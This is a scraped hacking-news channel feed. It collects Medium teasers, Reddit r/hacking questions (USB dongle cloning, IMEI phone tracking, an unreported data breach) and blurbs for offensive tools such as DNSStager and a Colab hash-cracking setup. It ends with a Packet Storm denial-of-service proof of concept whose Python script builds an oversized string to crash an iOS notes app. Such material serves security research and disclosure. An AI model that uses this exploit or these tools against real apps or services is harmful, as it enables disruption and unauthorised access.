Hacking on Medium
Blind SSRF with Burp Collaborator

https://cdn-images-1.medium.com/max/1200/0*A-lZyKHlTVjmypqM.png
Hello,

Continue reading on Medium »

Hacking on Medium
Basics of Cyber Forensics.

https://cdn-images-1.medium.com/max/600/1*RckV8OLaeQurD4FYkGlzwA.jpeg
Introduction

Continue reading on Medium »

Unveiling DNSStager: A tool to hide your payload in DNS

https://shells.systems/unveiling-dnsstager-a-tool-to-hide-your-payload-in-dns/

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Cloning a USB dongle

Hello guys, I want to try to clone a USB dongle. I saw a bunch of youtube videos but, I haven’t tried any of them yet. Have someone tried this before? If yes, can you give me a guide or tutorial how to do this?

submitted by /u/keke1997
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

IDOR, Content Spoofing and Url Redirection via unsubscribe email in Confluent

Summary
Read more...

Hacking on Medium
Basics of Cyber Forensics.

https://cdn-images-1.medium.com/max/600/1*RckV8OLaeQurD4FYkGlzwA.jpeg
Introduction

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Pandemic and Cyber security

Acer Finance company of France to JBS, Brazil’s meat maker, Steamship authority’s ( massachusetts) ferry service to Colonial pipeline’s (…

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How PUBG Mobile hacks/scripts are created |Learn to write LUA hacking scripts for latest version 1.o

https://cdn-images-1.medium.com/max/665/1*A_W7Prlb0PslvJ3UitvXvA.png
In our previous blog we have discussed about What are hacking scripts ? In which programming language scripts are created ? In this blog…

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
imei

how to track a phone with an imei

submitted by /u/Shadowblue0
[link] [comments]

hacking: security in practice
I have learnt of a data breach and the company is not doing anything

What do I do?

The breach is pretty big. The attackers have all their information, and all their clients information - which includes the clients' clients information (business AND personal and even medical).

I am a client, and my data was stolen.

The company providing the service is not doing anything. I know the hackers have contacted them (quite a while ago - months) with proof and they have not told their clients... now caused my data to be stolen.

I have contacted the company (based in USA) and at first they didn't believe me. Now they say they have raised it with legal and administration and will get back to me.

I'm not satisfied that this is being taken seriously.

What should I do next? Make this public somewhere? Report it somewhere? I'm not in the USA, so I'm not sure of the laws and procedures.

submitted by /u/Sly-D
[link] [comments]

Kali Linux Tutorials
Msldap : LDAP Library For Auditing MS AD

Msldap is a tool for (LDAP) LightWeight Directory Acess Protocol library for MS AD. Features Comes with a built-in console LDAP client All parameters can be conrolled via a conveinent URL (see below) Supports integrated windows authentication (SSPI) both with NTLM and with KERBEROS Supports channel binding (for ntlm and kerberos not SSPI) Supports encryption […]

The post Msldap : LDAP Library For Auditing MS AD appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Penglab - Abuse Of Google Colab For Cracking Hashes

Abuse of Google Colab for fun and profit. What is it ? Penglab is a ready-to-install setup on Google Colab for cracking hashes with an incredible power, really useful for CTFs. (See benchmarks below.) It installs by default : Hashcat John Hydra SSH (with ngrok) And now, it can also : Launch an integrated shell Download the wordlists Rockyou and HashesOrg2019 quickly ! You only need a Google Account to use Google Colab, and to use ngrok for SSH (optional).How to use it ? Go on : https://colab.research.google.com/github/mxrch/penglab/blob/master/penglab.ipynb Select "Runtime", "Change runtime type", and set "Hardware accelerator" to GPU. Change the config by setting "True" at tools you want to install. Select "Runtime" and "Run all" ! What is Google Colab ? Google Colab is a free cloud service, based on Jupyter Notebooks for machine-learning education and research. It provides a runtime fully configured for deep learning and free-of-charge access to a robust GPU. Benchmarks Hashcat Benchmark : ====================* Device #1: Tesla P100-PCIE-16GB, 16017/16280 MB, 56MCUOpenCL API (OpenCL 1.2 CUDA 10.1.152) - Platform #1 NVIDIA Corporation========================================================================* Device #2: Tesla P100-PCIE-16GB, skippedBenchmark relevant options:===========================* --optimized-kernel-enableMinimum password length supported by kernel: 0Maximum password length supported by kernel: 55Hashmode: 0 - MD5Speed.#1.........: 27008.0 MH/s (69.17ms) @ Accel:64 Loops:512 Thr:1024 Vec:8Minimum password length supported by kernel: 0Maximum password length supported by kernel: 55Hashmode: 100 - SHA1Speed.#1.........: 9590.3 MH/s (48.61ms) @ Accel:8 Loops:1024 Thr:1024 Vec:1Minimum password length supported by kernel: 0Maximum password length supported by kernel: 55 Speedtest : Testing from Google Cloud (35.203.136.151)... Retrieving speedtest.net server list... Selecting best server based on ping... Hosted by KamaTera INC (Santa Clara, CA) 11.95 km: 28.346 ms Testing download speed................................................................................ Download: 2196.68 Mbit/s Testing upload speed...................................................................................................... Upload: 3.87 Mbit/s Download Penglab
Read more...

Exploit Collector
My Notes Safe 5.3 Denial Of Service

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
My Notes Safe version 5.3 suffers from a denial of service vulnerability.

MD5 | 41ff462d29650978e92e573a5b0366bc

Download
# Exploit Title: My Notes Safe 5.3 - Denial of Service (PoC)
# Date: 06-04-2021
# Author: Geovanni Ruiz
# Download Link: https://apps.apple.com/us/app/my-notes-safe/id689971781
# Version: 5.3
# Category: DoS (iOS)

##### Vulnerability #####

Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against iOS 14.2.

##### PoC #####
--> payload.py
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")


Source:packetstormsecurity.com